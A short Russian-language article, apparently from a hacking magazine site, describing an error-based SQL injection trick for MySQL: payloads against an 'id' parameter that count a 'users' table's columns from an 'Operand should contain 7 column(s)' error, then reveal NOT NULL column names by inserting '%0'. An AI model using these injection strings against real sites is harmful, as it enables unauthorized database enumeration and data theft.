Представлю недавно
опубликованный на форуме sla.ckers.org юзером
Paic способ, с помощью которого можно узнать
имена колонок, если они имеют тип NOT NULL.
Отправляем первый запрос, чтобы узнать, сколько
колонок в нужной нам таблице:

id=1 and (select
* from users) = (1)

В результате MySQL вернет ошибку «Operand
should contain 7 column(s)». Это значит, что в
таблице users 7 полей. Тогда составим логически
верный запрос:

id=1 and (1,2,3,4,5,6,7) = (select *
from users union select 1,2,3,4,5,6,7 limit 1)

Запрос верный и ошибки мы не увидим. А теперь
о том, как узнать имена колонок. Для каждого
поля в запросе поочередно подставляем
последовательность символов %0 и, если у поля
стоит ключ NOT NULL, мы увидим ошибку. Посмотрим
на примере:

id=1 and (1,2,3,4,5,6,7) = (select *
from users union select 1%0,2,3,4,5,6,7 limit 1)

В итоге видим ошибку – «Column ‘id’ cannot be
null».

Оставить мнение

Check Also

В гостях у чертёнка. FreeBSD глазами линуксоида

Порог вхождения новичка в мир Linux за последние десять-пятнадцать лет ощутимо снизился. О…